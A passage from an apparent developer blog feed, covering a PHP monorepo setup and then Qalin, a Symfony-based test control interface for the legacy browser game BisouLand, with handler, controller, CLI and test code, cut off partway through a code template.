before QA's, so the volume is always present by the time QA's containers start.</p>

<p>The QA application joins the monolith's Docker network (<code>bisouland-monolith_default</code>),
which allows the integration and end-to-end test suites to send real HTTP requests
to the monolith container using its internal hostname.</p>

<table>
<thead>
<tr>
  <th>Port</th>
  <th>Service</th>
</tr>
</thead>
<tbody>
<tr>
  <td>43000</td>
  <td>Monolith (web)</td>
</tr>
<tr>
  <td>43001</td>
  <td>Monolith (DB)</td>
</tr>
<tr>
  <td>43010</td>
  <td>Qalin (web)</td>
</tr>
</tbody>
</table>

<blockquote>
  <p>Port assignments follow a convention: the <code>43</code> prefix is inspired by the game itself
  ("love" has 4 letters, "you" has 3), the next two digits identify the application
  (<code>00</code> for monolith, <code>01</code> for QA), and the last digit identifies the service
  (<code>0</code> for the web server, <code>1</code> for the database).</p>
</blockquote>

<h2 id="root-makefile">Root Makefile</h2>

<p>A root <code>Makefile</code> ties everything together with two targets:</p>

<pre><code class="makefile"># Makefile
apps-init:
    @$(MAKE) -C apps/monolith app-init
    @$(MAKE) -C apps/qa app-init

apps-qa:
    @$(MAKE) -C apps/qa app-qa
</code></pre>

<p><code>make apps-init</code> bootstraps both applications in the correct order.
<code>make apps-qa</code> runs the full quality pipeline from the QA application,
which in turn runs code style checks, static analysis, refactoring validation,
and all test suites:</p>

<pre><code class="makefile"># apps/qa/Makefile (excerpt)
app-qa: composer-dump cs-check phpstan rector-check phpunit
</code></pre>

<p>One command covers the entire codebase. No CI configuration file is required:
whatever runs locally is what would run in any future CI environment.</p>

<h2 id="tradeoffs">Tradeoffs</h2>

<p>A monorepo is not without cost.</p>

<p><strong>Coupling risk</strong>: packages sharing a repository make it easy to skip proper
interfaces. A shortcut that imports an internal implementation directly rather
than going through the declared interface is one file away instead of one
repository away. The package graph above enforces discipline by design,
but nothing in the tooling prevents a careless <code>use</code> statement.</p>

<p><strong>No granular access control</strong>: a contributor with read access to the
repository can see every application and every package. For BisouLand this
is not a concern, but it would matter in a team where different members
should see different parts of the system.</p>

<p><strong>Synchronised upgrades</strong>: upgrading a shared dependency or the PHP version
requires every package and application to be updated at once. There is no
gradual rollout across repositories; the whole monorepo moves together.
For a small project this is an advantage as much as a cost, but in a large
codebase with many packages it can turn a routine upgrade into a significant
coordinated effort.</p>

<p><strong>Repository growth</strong>: every application, package, vendor directory (as
bind-mount or volume), and test fixture lives in the same history. <code>git clone</code>
and <code>git log</code> grow with the full project. For a project of this size the
impact is negligible; at the scale of a large organisation it is not.</p>

<p>For BisouLand, a single-team project where all packages are internal,
none of these tradeoffs are blocking. They are worth naming so the choice
remains a deliberate one.</p>

<h2 id="conclusion">Conclusion</h2>

<p>BisouLand started as a single PHP file importing other PHP files.
After ten iterations it has two applications and ten packages.</p>

<p>A monorepo keeps them together without any tooling beyond what Composer already provides:</p>

<ul>
<li><strong>Path repositories</strong> resolve local packages by directory rather than Packagist,
with symlinks so edits are picked up immediately</li>
<li><strong><code>*@dev</code> constraints</strong> opt out of version pinning for in-repository packages</li>
<li><strong>Cross-cutting tools</strong> run from one place, configured once, covering everything</li>
<li><strong>Docker volumes</strong> share package sources and compiled assets across containers</li>
<li><strong>Root Makefile</strong> gives a single entry point for bootstrapping and quality checks</li>
</ul>

<p>No monorepo-specific tooling was needed. No version synchronisation scripts.
No split tooling to publish packages separately. Everything lives in one checkout,
one <code>git log</code>, one <code>make apps-qa</code>.</p>

<blockquote>
  <p>🤔 <strong>Retrospective</strong>: this approach works well as long as all packages remain
  internal to the project. The moment one needs to be published to Packagist for
  external consumption, path repositories and <code>*@dev</code> constraints are no longer
  sufficient. Tools such as <a href="https://github.com/symplify/monorepo-builder"><code>symplify/monorepo-builder</code></a>
  or <a href="https://github.com/danharrin/monorepo-split-github-action">GitHub Actions with a split workflow</a>
  automate publishing each package to its own repository.
  For BisouLand, that day has not come.</p>
</blockquote>

<p>Want to learn more?</p>

<ul>
<li><a href="https://github.com/pyricau/bisouland/tree/4.0.24">browse BisouLand source code on Github</a></li>
<li><a href="https://medium.com/sroze/managing-monolithic-repositories-with-composers-path-repository-c28af031746d">Managing monolithic repositories with Composer's path repository</a> by Samuel Roze,
the article that first described this pattern: one repository, multiple <code>composer.json</code> files, path repositories linking them</li>
<li><a href="https://github.com/beberlei/composer-monorepo-plugin">composer-monorepo-plugin</a> by Benjamin Eberlei,
a Composer plugin that auto-discovers all <code>composer.json</code> files in subdirectories and wires their dependencies,
removing the need to declare path repositories by hand</li>
<li><a href="https://github.com/soyuka/pmu">pmu</a> by Antoine Bluchet, 
a CLI tool for managing dependencies across all packages in a monorepo at once:
<code>pmu require symfony/uid</code> adds the constraint to every <code>composer.json</code> that needs it in a single command</li>
</ul>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Qalin: Test Control Interface, built with modern Symfony]]></title>
            <link href="/2026/02/25/xl-10-qalin-test-control-interface-with-symfony.html"/>
            <updated>2026-02-25T00:00:00+00:00</updated>
            <id>/2026/02/25/xl-10-qalin-test-control-interface-with-symfony.html</id>
            <content type="html"><![CDATA[<p>BisouLand is an eXtreme Legacy (2005 LAMP) app, an idle browser game where players
take each other's Love Points by blowing kisses across clouds.</p>

<p><img alt="BisouLand screenshot, overload of vintage 2005 xHTML design beauty" src="/images/xl-1-bisouland-screenshot.png" width="100%" /></p>

<p>The app was built by a student while learning xHTML, CSS, PHP and MySQL from online tutorials.
Maintaining this big ball of mud / spaghetti code can be a real challenge!</p>

<p>In today's article, we'll explore how to improve Developer eXperience in such a
hostile environment, by creating a modern Symfony application next to it.</p>

<p>This is the idea behind a <strong>Test Control Interface</strong>: a dedicated tool that lets anyone
on the team (developers, QA, designers, product, etc) reach any application state on demand,
without touching production code, without direct database access, and without waiting
for time gates.</p>

<h2 id="the-problem">The Problem</h2>

<p>Want to verify that blowing a Smooch works? To do that you need to have built one first.</p>

<p>To build a Smooch, you need your Mouth at level 6. Here is what each upgrade costs and
how long it takes for them to complete:</p>

<table>
<thead>
<tr>
  <th>Mouth level</th>
  <th>Cost to next level</th>
  <th>Completion time</th>
</tr>
</thead>
<tbody>
<tr>
  <td>1</td>
  <td>299</td>
  <td>1 s</td>
</tr>
<tr>
  <td>5</td>
  <td>1,478</td>
  <td>22 min 28 s</td>
</tr>
</tbody>
</table>

<p>But to pay for those upgrades you need Love Points (LP).
Your Heart generates them over time.
The higher its level, the more it produces per hour:</p>

<table>
<thead>
<tr>
  <th>Heart level</th>
  <th>LP generated / hr</th>
  <th>Cost to next level</th>
  <th>Completion time</th>
</tr>
</thead>
<tbody>
<tr>
  <td>1</td>
  <td>14</td>
  <td>150</td>
  <td>1 s</td>
</tr>
<tr>
  <td>5</td>
  <td>1,657</td>
  <td>739</td>
  <td>1 hr 11 min</td>
</tr>
<tr>
  <td>10</td>
  <td>3,019</td>
  <td>5,460</td>
  <td>8 hr 50 min</td>
</tr>
</tbody>
</table>

<p>Starting fresh with 300 LP, here is the full breakdown:</p>

<table>
<thead>
<tr>
  <th align="center">Upgrade</th>
  <th align="right">Cost</th>
  <th align="right">Waiting for LP</th>
  <th align="right">Waiting for completion</th>
</tr>
</thead>
<tbody>
<tr>
  <td align="center">Heart 1→2</td>
  <td align="right">150</td>
  <td align="right">0s</td>
  <td align="right">1s</td>
</tr>
<tr>
  <td align="center">Heart 2→3</td>
  <td align="right">223</td>
  <td align="right">16m 0s</td>
  <td align="right">11s</td>
</tr>
<tr>
  <td align="center">Heart 3→4</td>
  <td align="right">333</td>
  <td align="right">26m 45s</td>
  <td align="right">5m  0s</td>
</tr>
<tr>
  <td align="center">Heart 4→5</td>
  <td align="right">496</td>
  <td align="right">21m 12s</td>
  <td align="right">26m 24s</td>
</tr>
<tr>
  <td align="center">Heart 5→6</td>
  <td align="right">739</td>
  <td align="right">7m 12s</td>
  <td align="right">1h 11m</td>
</tr>
<tr>
  <td align="center">Heart 6→7</td>
  <td align="right">1,103</td>
  <td align="right">0s</td>
  <td align="right">2h 19m</td>
</tr>
<tr>
  <td align="center">Heart 7→8</td>
  <td align="right">1,645</td>
  <td align="right">0s</td>
  <td align="right">3h 44m</td>
</tr>
<tr>
  <td align="center">Heart 8→9</td>
  <td align="right">2,454</td>
  <td align="right">0s</td>
  <td align="right">5h 21m</td>
</tr>
<tr>
  <td align="center">Heart 9→10</td>
  <td align="right">3,660</td>
  <td align="right">0s</td>
  <td align="right">7h 4m</td>
</tr>
<tr>
  <td align="center">Mouth 1→2</td>
  <td align="right">299</td>
  <td align="right">0s</td>
  <td align="right">1s</td>
</tr>
<tr>
  <td align="center">Mouth 2→3</td>
  <td align="right">446</td>
  <td align="right">0s</td>
  <td align="right">1s</td>
</tr>
<tr>
  <td align="center">Mouth 3→4</td>
  <td align="right">665</td>
  <td align="right">0s</td>
  <td align="right">49s</td>
</tr>
<tr>
  <td align="center">Mouth 4→5</td>
  <td align="right">991</td>
  <td align="right">0s</td>
  <td align="right">6m 27s</td>
</tr>
<tr>
  <td align="center">Mouth 5→6</td>
  <td align="right">1,478</td>
  <td align="right">0s</td>
  <td align="right">22m 28s</td>
</tr>
<tr>
  <td align="center"><strong>Total</strong></td>
  <td align="right"><strong>15,182</strong></td>
  <td align="right"><strong>1h 11m</strong></td>
  <td align="right"><strong>20h 43m</strong></td>
</tr>
</tbody>
</table>

<p>Nearly a day of watching completion timers tick. And once you finally can build
that Smooch, you still cannot blow it: players need 50 Score Points first, which
means more grinding (1,000 Love Points spent = 1 Score Point earned).</p>

<p>The classic developer hacks are familiar:</p>

<ul>
<li>Hardcode a shorter constant locally: reduce 3 days to 20 seconds, trigger the behaviour,
move on. That works once, on your machine, but not on staging, cannot be shared with QA
or designers, and breaks the moment someone else needs a different value</li>
<li>Fire a one-off UPDATE through a SQL client: faster to set up, but requires database access,
knowledge of the schema, and leaves the data in a state that may be inconsistent
if you miss a related table</li>
</ul>

<p>You need a controlled, shareable way to reach any predetermined state instantly.</p>

<h2 id="inspiration%3A-bumble%27s-qaapi">Inspiration: Bumble's QAAPI</h2>

<p>In 2021, Sergey Ryabko described
<a href="https://medium.com/bumble-tech/api-for-qa-testing-features-when-you-have-no-access-to-code-3892456aa2de">API for QA: Testing features when you have no access to code</a>,
the Test Control Interface built at <a href="https://bumble.com/en/">Bumble Inc, the dating app</a>.
The tool is called <strong>QAAPI</strong>.</p>

<p>The core idea: rather than touching the database directly or bending production code to
fit a test scenario, you expose a dedicated set of controlled operations via HTTP.
A web UI built on top gives everyone on the team (developers, QA, designers, product)
a friendly way to check, demo, or test the app.</p>

<p>Consider a promotional banner: three days after registration, show the user a discounted
premium upsell. To test it, you would normally register an account and wait three days.
To avoid that, a QAAPI method offsets the registration date for a specific test user:</p>

<pre><code>/SetPromoTimeOffset?seconds=20&amp;userid=12345
</code></pre>

<p>And 20 seconds after registration, user <code>12345</code> sees the banner.</p>

<p>Its implementation is a self-contained class with three elements:
a description, typed parameters, and a <code>run()</code> method with the logic:</p>

<pre><code class="php">class SetPromoTimeOffset extends \QAAPI\Methods\AbstractMethod
{
    public function getDescription(): string
    {
        return &lt;&lt;&lt;Description
Sets a time offset in seconds between the user's registration date and the promo showing
Description;
    }

    public function getParamsConfig(): array
    {
        return [
            'user_id' =&gt; \QAAPI\Params\UserId::create(),
            'seconds'  =&gt; \QAAPI\Params\PositiveInteger::create()
                -&gt;setDescription('Offset in seconds'),
        ];
    }

    public function run(): \QAAPI\Models\Output
    {
        // logic here
        return \QAAPI\Models\Output::success();
    }
}
</code></pre>

<p>Documentation is generated automatically from those definitions.</p>

<p>Security is layered to make broad access safe: network-level (VPN only),
authentication (Google OAuth for engineers, secret token for automated tests),
and data-level (methods only operate on flagged test users, never real ones).</p>

<p>Beyond raw methods, QAAPI also has <strong>Scenarios</strong>: combinations of methods written
ad-hoc in Lua that reproduce a complete feature flow in one call, acting as living
documentation of complex flows.</p>

<p>At Bumble, QAAPI has grown to over 1,500 methods and has been in use since 2013.</p>

<p>In an earlier article (2019), Vladimir Yants described
<a href="https://medium.com/bumble-tech/a-monolithic-architecture-for-our-clients-hundreds-of-versions-how-we-write-and-support-tests-php-e8fe0b79c0bc">A monolithic architecture for our clients' hundreds of versions: how we write and support tests</a>,
showing QAAPI used programmatically inside automated API tests: three calls to set up a
test user's profession, A/B test group, and registration date, then assert on the server
response. The article also details their <strong>test user pool</strong> (pre-registered users with an
<code>is_test_user</code> flag, restored to a clean state after each test) and how that flag lets them
run the same API tests against a pre-production cluster with real data, while keeping test
users isolated from real ones.</p>

<blockquote>
  <p>✏️ <strong>Edit</strong>: <a href="https://www.linkedin.com/feed/update/urn:li:activity:7432334582177492992/">Artem Soldatkin</a>
  rightly points out that the first version of QAAPI was authored by Ilya Ageev
  and created at Badoo in 2013, before Bumble existed and before Badoo was
  incorporated into Bumble Inc.</p>
</blockquote>

<p>A Test Control Interface is a deceptively simple idea whose implementation cost is low,
yet it makes everyone on the team faster and transforms how they work.</p>

<p>Simple enough that I built a working prototype for BisouLand in two weeks.</p>

<h2 id="how-to-build-it%3A-qalin">How to Build It: Qalin</h2>

<p><strong>Qalin</strong> (pronounced <em>câlin</em>) stands for <strong>Quality Assurance Local Interface Nudger</strong>.</p>

<p>It is BisouLand's Test Control Interface, built on top of Symfony 8 with PHP 8.5.</p>

<p>It follows the same concept as QAAPI, with a few differences suited to the Symfony ecosystem:
input is a separate readonly DTO rather than a method on the class,
dependencies are injected via the constructor rather than inherited from a base class,
and the handler is wired through Symfony's service container.</p>

<p>Qalin runs alongside the app in local, dev, test, and staging environments.
It is never deployed to production.</p>

<h3 id="actions-and-scenarios">Actions and Scenarios</h3>

<p><strong>Actions</strong> are atomic operations. Each one has three parts:
an input DTO, a handler, and an output DTO.</p>

<p>The input DTO is a <code>readonly</code> class with typed public properties.
Constructor promotion keeps it concise:</p>

<pre><code class="php">final readonly class UpgradeInstantlyForFree
{
    public function __construct(
        public string $username,
        public string $upgradable,
        public int $levels = 1,
    ) {
    }
}
</code></pre>

<p>The handler receives the input DTO, validates it, calls domain services,
and returns an output DTO:</p>

<pre><code class="php">final readonly class UpgradeInstantlyForFreeHandler
{
    public function __construct(
        private ApplyCompletedUpgrade $applyCompletedUpgrade,
        private FindPlayer $findPlayer,
    ) {
    }

    public function run(UpgradeInstantlyForFree $input): UpgradeInstantlyForFreed
    {
        $username   = Username::fromString($input-&gt;username);
        $upgradable = Upgradable::fromString($input-&gt;upgradable);
        if ($input-&gt;levels &lt; 1) {
            throw ValidationFailedException::make(
                "Invalid \"UpgradeInstantlyForFree\" parameter: it should have levels &gt;= 1 (`{$input-&gt;levels}` given)",
            );
        }

        $player = $this-&gt;findPlayer-&gt;find($username);

        for ($i = 0; $i &lt; $input-&gt;levels; ++$i) {
            $upgradable-&gt;checkPrerequisites($player-&gt;upgradableLevels);
            $milliScore = $upgradable-&gt;computeCost($player-&gt;upgradableLevels);
            $player = $this-&gt;applyCompletedUpgrade-&gt;apply($username, $upgradable, $milliScore);
        }

        return new UpgradeInstantlyForFreed($player);
    }
}
</code></pre>

<p>Notice what is absent: no cost deduction, no completion timer.
The action reaches directly into the domain service that applies a completed upgrade
and calls it in a loop. That is the point.</p>

<p><strong>Scenarios</strong> are handlers that compose other handlers.
Instead of inheriting from a base class,
they receive action handlers as constructor dependencies
and call their <code>run()</code> methods in sequence:</p>

<pre><code class="php">final readonly class SignInNewPlayerHandler
{
    public function __construct(
        private SignUpNewPlayerHandler $signUpNewPlayerHandler,
        private SignInPlayerHandler $signInPlayerHandler,
    ) {
    }

    public function run(SignInNewPlayer $input): SignedInNewPlayer
    {
        $signedUp = $this-&gt;signUpNewPlayerHandler-&gt;run(
            new SignUpNewPlayer($input-&gt;username, $input-&gt;password),
        );

        $signedIn = $this-&gt;signInPlayerHandler-&gt;run(
            new SignInPlayer($signedUp-&gt;player-&gt;account-&gt;username-&gt;toString()),
        );

        return new SignedInNewPlayer($signedUp, $signedIn);
    }
}
</code></pre>

<p><code>SignInNewPlayer</code> signs up a brand-new player and immediately signs them in,
returning their session cookie in one call. No curl, no browser, no waiting.</p>

<blockquote>
  <p>🤔 <strong>Retrospective</strong>: <code>SignInNewPlayer</code> was the smallest scenario I could build to close
  the two-week spike. It composes two actions and covers a real need, but it does not
  yet showcase the full value of scenarios. A more representative example would be
  <code>UnlockLeap</code>: to test cloud-leaping, a player needs Leap at level 1, which requires
  Legs at level 2, which requires Heart at level 15. The scenario would call
  <code>upgrade-instantly-for-free</code> on each upgradable in order, dropping the player straight
  into a state where the leap feature can be exercised. That kind of scenario is what
  a Test Control Interface is really for.</p>
</blockquote>

<h3 id="cli-interface">CLI Interface</h3>

<p>For developers who live in the terminal, the same actions and scenarios are available as
Symfony console commands. Modern Symfony Console attributes eliminate all of the
traditional <code>configure()</code> / <code>execute()</code> scaffolding:</p>

<pre><code class="php">#[AsCommand(
    name: 'action:upgrade-instantly-for-free',
    description: 'Instantly upgrade for free',
)]
final readonly class UpgradeInstantlyForFreeCommand
{
    public function __construct(
        private UpgradeInstantlyForFreeHandler $upgradeInstantlyForFreeHandler,
    ) {
    }

    public function __invoke(
        #[Argument(description: 'an existing one')]
        string $username,
        #[Argument(description: 'an Organ (e.g. heart), Bisou (e.g. smooch) or Technique (e.g. hold_breath)')]
        string $upgradable,
        SymfonyStyle $io,
        #[Option(description: 'how many levels to upgrade at once')]
        int $levels = 1,
    ): int {
        try {
            $upgradeInstantlyForFreed = $this-&gt;upgradeInstantlyForFreeHandler-&gt;run(
                new UpgradeInstantlyForFree($username, $upgradable, $levels),
            );
        } catch (ValidationFailedException $e) {
            $io-&gt;error($e-&gt;getMessage());
            return Command::INVALID;
        } catch (ServerErrorException $e) {
            $io-&gt;error($e-&gt;getMessage());
            return Command::FAILURE;
        }

        $io-&gt;success('Successfully completed Upgrade Instantly For Free');

        $rows = [];
        foreach ($upgradeInstantlyForFreed-&gt;toArray() as $field =&gt; $value) {
            $rows[] = [$field, $value];
        }

        $table = new Table($io);
        $table-&gt;setStyle('markdown');
        $table-&gt;setHeaders(['Field', 'Value']);
        $table-&gt;setRows($rows);
        $table-&gt;render();

        return Command::SUCCESS;
    }
}
</code></pre>

<blockquote>
  <p>🎶 <strong>Modern Symfony</strong>: <code>#[AsCommand]</code> (introduced in Symfony 5.3) registers the command.
  <code>#[Argument]</code> and <code>#[Option]</code> (introduced in Symfony 7.3) declare the parameters
  directly on <code>__invoke()</code>, replacing the <code>configure()</code> / <code>execute()</code> boilerplate
  entirely. Symfony injects <code>SymfonyStyle</code> automatically.</p>
</blockquote>

<p>The command is callable from a Makefile target:</p>

<pre><code class="console">make qalin arg='scenario:sign-in-new-player Petrus iLoveBlade'
make qalin arg='action:upgrade-instantly-for-free Petrus heart --levels=5'
</code></pre>

<p><img alt="Qalin CLI screenshot" src="/images/xl-10-qalin-cli.png" width="100%" /></p>

<blockquote>
  <p>🤔 <strong>Retrospective</strong>: the CLI currently calls action and scenario handlers directly,
  in-process. A better implementation would have it call the HTTP API instead, using
  an HTTP client. That would let the CLI target any environment, local or staging,
  by just changing the base URL. The direct handler approach was a POC shortcut.</p>
</blockquote>

<h3 id="api-interface">API Interface</h3>

<p>The API is the foundation on which other interfaces are built. The Web UI calls it,
nothing stops you from building a Rust TUI or a mobile debug screen on top of it,
and it is what makes Qalin usable on remote environments like staging servers.</p>

<p>Each action and scenario is a dedicated controller, registered with <code>#[Route]</code> and
accepting a deserialized input DTO via <code>#[MapRequestPayload]</code>:</p>

<pre><code class="php">final readonly class UpgradeInstantlyForFreeController
{
    public function __construct(
        private UpgradeInstantlyForFreeHandler $upgradeInstantlyForFreeHandler,
    ) {
    }

    #[Route('/api/v1/actions/upgrade-instantly-for-free', methods: ['POST'])]
    public function __invoke(
        #[MapRequestPayload]
        UpgradeInstantlyForFree $upgradeInstantlyForFree,
    ): JsonResponse {
        $upgradeInstantlyForFreed = $this-&gt;upgradeInstantlyForFreeHandler-&gt;run($upgradeInstantlyForFree);

        return new JsonResponse(
            json_encode($upgradeInstantlyForFreed-&gt;toArray(), \JSON_THROW_ON_ERROR),
            Response::HTTP_CREATED,
            json: true,
        );
    }
}
</code></pre>

<blockquote>
  <p>🎶 <strong>Modern Symfony</strong>: <code>#[MapRequestPayload]</code> (introduced in Symfony 6.3) deserializes
  the JSON body into the input DTO and runs validation automatically. The controller
  itself has no boilerplate: it calls the handler and returns the result.</p>
</blockquote>

<p>Calling it looks like this:</p>

<pre><code class="console">curl -X POST http://localhost:43010/api/v1/scenarios/sign-in-new-player \
     -H 'Content-Type: application/json' \
     -d '{"username": "Petrus", "password": "iLoveBlade"}'

curl -X POST http://localhost:43010/api/v1/actions/upgrade-instantly-for-free \
     -H 'Content-Type: application/json' \
     -d '{"username": "Petrus", "upgradable": "heart", "levels": 5}'
</code></pre>

<h3 id="web-interface">Web Interface</h3>

<p>For designers and product people who prefer a browser,
each action and scenario has a web page with a form.</p>

<p>The controller is a straightforward GET that renders a Twig template:</p>

<pre><code class="php">#[Route('/actions/upgrade-instantly-for-free', methods: ['GET'])]
public function __invoke(): Response
{
    return new Response($this-&gt;twig-&gt;render('qalin/action/upgrade-instantly-for-free.html.twig', [
        'upgradables' =&gt; Upgradable::cases(),
    ]));
}
</code></pre>

<p>The template itself is a plain HTML form with a <code>data-api</code> attribute pointing to the
API endpoint:</p>

<p></p>

<pre><code class="twig">{% extends 'base.html.twig' %}

{% block title %}Upgrade Instantly For Free - Qalin{% endblock %}

{% block body %}
    &lt;h2&gt;Action: Upgrade Instantly For Free&lt;/h2&gt;
    &lt;form data-api="/api/v1/actions/upgrade-instantly-for-free" data-expect="201"&gt;
        &lt;label for="username"&gt;Username&lt;/label&gt;
        &lt;input class="u-full-width" type="text" id="username" name="username" required&gt;
        &lt;label for="upgradable"&gt;Upgradable&lt;/label&gt;
        &lt;select class="u-full-width" id="upgradable" name="upgradable" required&gt;
            {% for upgradable in upgradables %}
                &lt;option value="{{ upgradable.value }}"&gt;{{ upgradable.name }}&lt;/option&gt;
            {% endfor %}
        &lt;/select&gt;
        &lt;label for="levels"&gt;Levels&lt;/label&gt;
        &lt;input class="u-full-width" type="number" id="levels" name="levels" value="1"&gt;
        &lt;button class="button-primary" type="submit"&gt;Upgrade Instantly For Free&lt;/button&gt;
    &lt;/form&gt;
    &lt;div class="result"&gt;&lt;/div&gt;
{% endblock %}
</code></pre>

<p></p>

<p>A small JavaScript snippet in the base layout reads <code>data-api</code>, serializes the form as
JSON, POSTs it to the API, and renders the response into <code>.result</code>. No JavaScript
framework, no build step: just Twig and a <code>&lt;form&gt;</code>.</p>

<p><img alt="Qalin Web screenshot" src="/images/xl-10-qalin-web.png" width="100%" /></p>

<blockquote>
  <p>🤔 <strong>Retrospective</strong>: the web interface is the weakest part of the current implementation.
  A future iteration could replace the vanilla JavaScript with HTMX for a cleaner,
  server-driven approach.</p>
</blockquote>

<h3 id="testsuite-interface">Testsuite Interface</h3>

<p>Qalin exposes an <code>ActionRunner</code> and a <code>ScenarioRunner</code> that call handlers in-process,
with no HTTP overhead.</p>

<p>Automated tests (e.g. EndToEnd) use them in the <strong>Arrange</strong> phase to set up game
state without raw SQL, without curl, and without coupling tests to database schema:</p>

<pre><code class="php">#[CoversNothing]
#[Large]
final class LogOutTest extends TestCase
{
    public function test_it_allows_players_to_log_out(): void
    {
        // Arrange
        $httpClient = TestKernelSingleton::get()-&gt;httpClient();
        $scenarioRunner = TestKernelSingleton::get()-&gt;scenarioRunner();

        /** @var SignedInNewPlayer $signedInNewPlayer */
        $signedInNewPlayer = $scenarioRunner-&gt;run(new SignInNewPlayer(
            UsernameFixture::makeString(),
            PasswordPlainFixture::makeString(),
        ));

        $sessionCookie = $signedInNewPlayer-&gt;toArray()['cookie'];

        // Act
        $httpClient-&gt;request('GET', '/logout.html', [
            'headers' =&gt; ['Cookie' =&gt; $sessionCookie],
        ]);

        // Assert
        $response = $httpClient-&gt;request('GET', '/cerveau.html', [
            'headers' =&gt; ['Cookie' =&gt; $sessionCookie],
        ]);

        $this-&gt;assertStringContainsString("Tu n'es pas connect&amp;eacute;.", $response-&gt;getContent());
        $this-&gt;assertSame(200, $response-&gt;getStatusCode());
    }
}
</code></pre>

<p>The Arrange is one call. It reads as plain English. The test is about logout,
not about the sign-up and sign-in machinery needed to reach that state.</p>

<p>That machinery is encapsulated in the <code>SignInNewPlayer</code> scenario,
reused across every test that needs a logged-in player.</p>

<p>This is where the Test Control Interface pays off most: not only for manual testers,
but also for the automated test suite that runs on every commit. Bumble arrived at
the same pattern: their API tests call QAAPI methods in the arrange phase to configure
test users before exercising the real protocol.</p>

<blockquote>
  <p>✏️ <strong>Edit</strong>: <a href="https://www.reddit.com/r/PHP/comments/1re9i74/comment/o7bny2e/">obstreperous_troll on Reddit</a>
  observes that this resembles white-box testing, since Qalin reaches into
  internal state to set things up. That is a fair comparison: Qalin is
  white-box for the <strong>Arrange</strong> part of a test (it bypasses the public API
  to put the system in a specific state), but black-box for the <strong>Act</strong> and
  <strong>Assert</strong> parts (the test exercises real HTTP endpoints and checks real
  responses, just like any external consumer would).</p>
  
  <p>✏️ <strong>Edit</strong>: <a href="https://bsky.app/profile/monitaurus.bsky.social">Benjamin Rothan</a> asks whether this is
  fixture generation for QA. Symfony developers may recognise a resemblance
  to Doctrine Fixtures or FakerBundle, but the intent is different: fixtures
  generate seed data at deployment time (a fixed dataset loaded once),
  whereas Qalin actions are called on demand, at any time, to reach a
  specific state for a specific test or demo. Think of it as a remote
  control for your application state, not a data seeder.</p>
</blockquote>

<h2 id="scaffolding-with-makerbundle">Scaffolding with MakerBundle</h2>

<p>Adding a new action to Qalin means creating a handler, an input DTO, an output DTO,
a CLI command, an API controller, a Web controller, a Twig template,
and tests for all of them. That is 12 files.</p>

<p>Writing them by hand once is instructive. Doing it for every new action is not.</p>

<p>Qalin ships a custom MakerBundle command, <code>make:qalin:action</code>, that generates all 12
files from a single invocation:</p>

<pre><code class="console">make qalin-action arg='UpgradeInstantlyForFree \
  --description="Instantly upgrade an upgradable for free" \
  --output-name=UpgradeInstantlyForFreed \
  --parameter="username:string:an existing username" \
  --parameter="upgradable:string:an organ (e.g. heart), a bisou (e.g. smooch) or a technique (e.g. hold_breath)" \
  --parameter="levels:int:number of levels to upgrade:1"'
</code></pre>

<p>The <code>--parameter</code> flag follows a <code>name:type:description[:default]</code> format.
Providing a default makes the parameter optional, omitting it makes it required.</p>

<p>The generator sorts required parameters before optional ones automatically,
respecting PHP's constraint on default values.</p>

<p>The generated files are fully wired:
* the CLI command uses <code>#[AsCommand]</code>, <code>#[Argument]</code> and <code>#[Option]</code>
* the API controller uses <code>#[Route]</code> and <code>#[MapRequestPayload]</code>
* the input DTO is the same class used by all three interfaces and the testsuite
* Spec tests for the DTO and handler are generated with Prophecy stubs pre-populated
* Integration tests for each interface are generated with the correct
  <code>#[CoversNothing]</code> / <code>#[Medium]</code> attributes and data providers stubbed out.</p>

<p>After generation, the workflow is:</p>

<ol>
<li>Implement domain logic in <code>UpgradeInstantlyForFreeHandler.php</code></li>
<li>Fill in any <code>TODO</code> comments</li>
<li>Run <code>make phpstan-analyze</code> and <code>make phpunit</code></li>
</ol>

<p>The command also has an interactive mode for when you want to be guided through
each field, and a <code>make:qalin:scenario</code> counterpart that adds a <code>--action</code> option for
composing existing action handlers:</p>

<pre><code class="console">make qalin-scenario arg='SignInNewPlayer \
  --description="Sign up and immediately sign in a brand-new player" \
  --output-name=SignedInNewPlayer \
  --parameter="username:string:4-15 alphanumeric characters" \
  --parameter="password:string:8-72 characters" \
  --action=SignUpNewPlayer \
  --action=SignInPlayer'
</code></pre>

<p>The generated scenario handler comes pre-wired with <code>SignUpNewPlayerHandler</code> and
<code>SignInPlayerHandler</code> as constructor dependencies, their namespaces already imported.</p>

<p>Building a MakerBundle command means extending <code>AbstractMaker</code> and implementing three
methods: <code>configureCommand()</code> for option declarations, <code>interact()</code> for the interactive
prompts, and <code>generate()</code> for file generation via the <code>Generator</code> service. The
<code>generate()</code> method is a flat list of <code>generateClass()</code> calls, one per file:</p>

<pre><code class="php">public function generate(InputInterface $input, ConsoleStyle $io, Generator $generator): void
{
    // ... resolve variables from input ...

    // 1. Action input DTO
    $generator-&gt;generateClass(
        "Bl\\Qa\\Application\\Action\\{$actionName}\\{$actionName}",
        "{$templateDir}/Qalin/Action/HandlerInput.tpl.php",
        $variables,
    );

    // 2. Action handler
    $generator-&gt;generateClass(
        "Bl\\Qa\\Application\\Action\\{$actionName}\\{$actionName}Handler",
        "{$templateDir}/Qalin/Action/Handler.tpl.php",
        $variables,
    );

    // ... 10 more files: output DTO, CLI command, Web controller, API controller,
    //     Twig template, spec tests, integration tests ...

    $generator-&gt;writeChanges();
}
</code></pre>

<p>Templates are plain PHP files that echo the target source. The API controller template,
for instance, reproduces exactly the class pattern shown earlier in this article:</p>

<pre><code class="php">&lt;?php echo "&lt;?php\n"; ?&gt;

declare(strict_types=1);

namespace &lt;?php echo $namespace; ?&gt;;

use Bl\Qa\Application\Action\&lt;?php echo $action_name; ?&gt;\&lt;?php echo $action_name; ?&gt;;
use Bl\Qa\Application\Action\&lt;?php echo $action_name; ?&gt;\&lt;?php echo $action_name; ?&gt;Handler;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Attribute\MapRequestPayload;
use Symfony\Component\Routing\Attribute\Route;

final readonly class &lt;?php echo $class_name; ?&gt;

{
    public function __construct(
        private &lt;?php echo $action_name; ?&gt;Handler $&lt;?php echo $action_camel; ?&gt;Handler,
    ) {
    }

    #[Route('/api/v1/actions/&lt;?php echo $action_kebab; ?&gt;', methods: ['POST'])]
    public function __invoke(
        #[MapRequestPayload]
